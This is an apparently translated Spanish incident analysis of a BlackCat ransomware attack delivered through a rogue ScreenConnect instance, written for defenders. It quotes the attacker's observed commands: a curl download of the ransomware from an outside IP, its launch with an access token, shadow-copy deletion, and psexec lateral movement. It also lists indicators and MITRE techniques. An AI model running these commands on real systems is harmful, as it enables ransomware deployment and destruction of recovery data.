Antecedentes
El 19 de diciembre de 2023, la Oficina de Asuntos Públicos del Departamento de Justicia emitió un comunicado de prensa en el que indicaba que el FBI había “interrumpido la variante de ransomware ALPHV/BlackCat”. Esta variante de ransomware se ofrece a afiliados como “ransomware como servicio” (RaaS). El FBI también desarrolló una herramienta de descifrado que puso a disposición de las organizaciones afectadas por esta variante de RaaS, con el fin de ayudarlas a recuperarse y reanudar sus operaciones comerciales.
El 19 de febrero de 2024, ConnectWise publicó un aviso de seguridad para ScreenConnect versión 23.9.8, en el que se mencionan dos vulnerabilidades y debilidades de software. Dos días después, el 21 de febrero, Huntress publicó un blog que explica el bypass de autenticación de ScreenConnect.
El 27 de febrero, Wired.com publicó un artículo sobre cómo los grupos de ransomware estaban “recuperándose más rápido” tras la interrupción por parte de las fuerzas del orden. Ese mismo día, la Agencia de Ciberseguridad e Infraestructura (CISA) publicó un aviso sobre el ransomware ALPHV/BlackCat, que incluía referencias a ScreenConnect (ver tabla 4, “Indicadores de red”, en el aviso).
El ataque
Huntress tiene una base de clientes extremadamente diversa, que abarca una amplia variedad de ubicaciones geográficas y sectores comerciales. El 22 de febrero de 2024, los analistas del SOC de Huntress respondieron a alertas de un endpoint, aparentemente asociado con el sector de la salud, que indicaban que se habían modificado archivos Ransomware Canary. Una revisión más detallada identificó una instancia comprometida de ScreenConnect, así como alertas de Huntress Managed Antivirus, que indicaban que se había intentado colocar un archivo ejecutable de ransomware, identificado como “BlackCat”, en el endpoint.
El endpoint se identificó como “aparentemente” asociado con el sector de la salud, en función del nombre del cliente. A medida que avanzaba la investigación, el socio de MSP indicó que el endpoint había sido retirado del entorno del cliente y entregado a otra persona sin su conocimiento. Aun así, el agente siguió reportándose a la infraestructura de Huntress y generando alertas.
Una investigación más profunda del endpoint reveló que tenía dos instancias de ScreenConnect en ejecución. Según los registros disponibles, la primera instancia de ScreenConnect, que se reportaba a la infraestructura del MSP y probablemente era legítima, se instaló el 10 de noviembre de 2021. En ese momento, la versión instalada de ScreenConnect era la 20.10.957.7556. El 20 de febrero de 2024, esta instancia se actualizó a la versión 23.9.8.8811.
La segunda instancia de ScreenConnect, que se identificó como probablemente una instalación comprometida, se instaló el 28 de marzo de 2022. En ese momento, la versión era la 21.15.6764.8075. Este número de versión todavía se reportaba en los mensajes de registro hasta el 10 de febrero de 2024. Además, esta instancia de ScreenConnect se conectó a REDACTED.ddns.net.
Momento del ataque
El actor de amenazas accedió al endpoint a través de la segunda instancia de ScreenConnect. Los registros disponibles indicaron que poco después de que se instalara la instancia el 28 de marzo de 2022, un nombre de usuario específico se conectó a la instancia; esos mismos registros mostraban secuencias de ese nombre de usuario conectándose y luego desconectándose, hasta el 29 de julio de 2022. Desde ese momento hasta el 10 de febrero de 2024, los únicos mensajes de registro indicaban que esta instancia de ScreenConnect experimentaba errores de SocketException, y probablemente no lograba conectarse a REDACTED.ddns.net. El 10 de febrero de 2024, los registros mostraron varios errores de aplicación y mensajes emergentes asociados con esta instancia de ScreenConnect; sin embargo, los registros no ofrecen suficiente detalle para identificar el problema específico que encontró la aplicación.
El 22 de febrero de 2024, un nuevo nombre de usuario, chlsln14, se conectó a la instancia de ScreenConnect. En ese momento, la versión de la instancia de ScreenConnect todavía se reportaba, según la telemetría de EDR, como 21.15.6764.8075. A las 14:09:41 UTC, se ejecutó el siguiente comando:
curl http://94.131.109[.]54:6531/iw0pjCKEzADKTMA5Xkv8ZxS6.exe -O
Veintitrés segundos después, Windows Defender detectó el archivo C:\Windows\System32\iw0pjCKEzADKTMA5Xkv8ZxS6.exe, y el archivo se puso en cuarentena con éxito a las 14:10:31 UTC.
A las 14:11:46 UTC, el valor SpyNetReporting de Windows Defender se cambió de 2 a 0, lo que desactivó esencialmente la funcionalidad. Dado que no se observó ningún proceso de línea de comandos asociado en la telemetría de EDR, es probable que esta modificación se haya realizado mediante interacción con la interfaz gráfica de usuario (GUI); es decir, que el actor de amenazas probablemente realizó la modificación a través de la interfaz de usuario. Después de esta entrada de registro, hubo varias entradas consecutivas de registro de SecurityCenter que indicaban que el estado de Windows Defender estaba “en pausa” (snoozed).
A las 14:11:56 UTC, el comando original curl se ejecutó nuevamente, y parece haber tenido éxito porque 23 segundos después se lanzó el siguiente comando:
iw0pjCKEzADKTMA5Xkv8ZxS6.exe --access-token d72766a868fef87c0c073c1ec3b6a92b7daed7313b81ee6523386049f768b09d
Para quienes no estén familiarizados, uno de los aspectos de los productos de ransomware RaaS es que los archivos ejecutables a menudo contienen comandos integrados usados para deshabilitar productos de seguridad y evitar la recuperación. Al fin y al cabo, ¿qué tan eficaz es un despliegue de ransomware si la organización afectada simplemente puede recuperarse revirtiendo el último punto de restauración o copia de sombra de volumen? Por ello, una vez que se lanzó el ejecutable de ransomware, los procesos integrados se lanzaron como procesos secundarios de iw0pjCKEzADKTMA5Xkv8ZxS6.exe, y la plataforma de Huntress detectó muchos de ellos.
Los comandos observados mediante la telemetría de EDR incluyeron los siguientes:
vssadmin.exe Delete Shadows /all /quiet
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f
iisreset.exe /stop
wmic.exe Shadowcopy Delete
El comando reg add que modifica el valor MaxMpxCt aumenta el número de solicitudes de red pendientes permitidas, aparentemente optimizando la red de uso compartido de archivos para manejar un mayor volumen de tráfico.
En este punto, los registros indicaron que el usuario chlsln14 se desconectó de la sesión de ScreenConnect, y el archivo ejecutable del ransomware siguió ejecutándose. Después de los comandos anteriores, la telemetría de Huntress EDR mostró varias instancias del siguiente comando:
C:\Windows\TEMP\psexec.exe" -nobanner -accepteula \\<NetBIOS Name> -u <DOMAIN>\Administrator -p <password> -s -d -f -c C:\Windows\system32\iw0pjCKEzADKTMA5Xkv8ZxS6.exe --access-token d72766a868fef87c0c073c1ec3b6a92b7daed7313b81ee6523386049f768b09d --no-prop-servers \\<NetBIOS Name> --propagated
Estos comandos, que eran procesos secundarios del proceso del ejecutable del ransomware, claramente tenían como objetivo permitir que el ransomware se moviera lateralmente hacia otros endpoints en la infraestructura. Después de estos comandos, los registros de eventos de Windows indicaron instancias de propagación exitosa hacia los endpoints adicionales, todos los cuales utilizaban el esquema de direccionamiento IP 10.x.x.x. Esto fue muy importante, ya que el campo <DOMAIN> y los nombres NetBIOS de los endpoints remotos no pudieron asociarse directamente con el cliente de Huntress. Además, ese cliente de Huntress utilizaba el esquema de direccionamiento IP 192.168.x.x dentro de su infraestructura. Finalmente, durante la investigación, ningún otro endpoint dentro de la infraestructura del cliente de Huntress mostró señales similares de compromiso, ni de cifrado de archivos.
Resumen
El actor de amenazas estuvo conectado al endpoint a través de la segunda instancia identificada de ScreenConnect durante poco menos de tres minutos, y durante ese tiempo pudo descargar una copia del archivo ejecutable del ransomware al endpoint, reaccionar a que el archivo fuera puesto en cuarentena deshabilitando temporalmente Windows Defender, y luego volver a descargar el archivo ejecutable y lanzarlo con éxito. El archivo ejecutable del ransomware, al ser un producto RaaS, contenía una serie de comandos integrados destinados a inhibir o evitar la recuperación, así como comandos y credenciales integrados que permitían al ejecutable del ransomware moverse lateralmente dentro de la infraestructura afectada. Los comandos permitían al ejecutable apuntar a endpoints nombrados específicos de la infraestructura en la que residía el endpoint, lo que indica que el actor de amenazas conocía bien la infraestructura.
Este incidente demuestra claramente la necesidad de contar con un inventario de activos preciso y actualizado, que incluya no solo sistemas físicos y virtuales, sino también todas las aplicaciones y servicios disponibles, para fines de aplicación de parches. También demuestra la necesidad de reducir la superficie de ataque, donde los administradores restringen el acceso o simplemente eliminan aplicaciones y servicios innecesarios, ya que estos pueden ofrecer un medio de acceso fácil y alternativo, o un medio de acceder al endpoint que evita mecanismos de protección como MFA.
Indicadores
Uso de curl.exe
94.131.109[.]54:6531 - descarga de archivo
iw0pjCKEzADKTMA5Xkv8ZxS6.exe - archivo ejecutable del ransomware
Comandos RaaS:
vssadmin.exe Delete Shadows /all /quiet
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f
iisreset.exe /stop
wmic.exe Shadowcopy Delete
psexec.exe
Mapeo de MITRE ATT&CK
Acceso inicial - T1190, Exploit Public Facing Application (probable); T1078.002, Valid Domain Accounts
Ejecución - T1059.003, Windows Command Shell
Evasión de defensas - T1562.001, Disable/Modify Tools
Escalada de privilegios - T1078.002, Valid Domain Accounts
Impacto - T1486, Data Encrypted For Impact
Impacto - T1490, Inhibit System Recovery
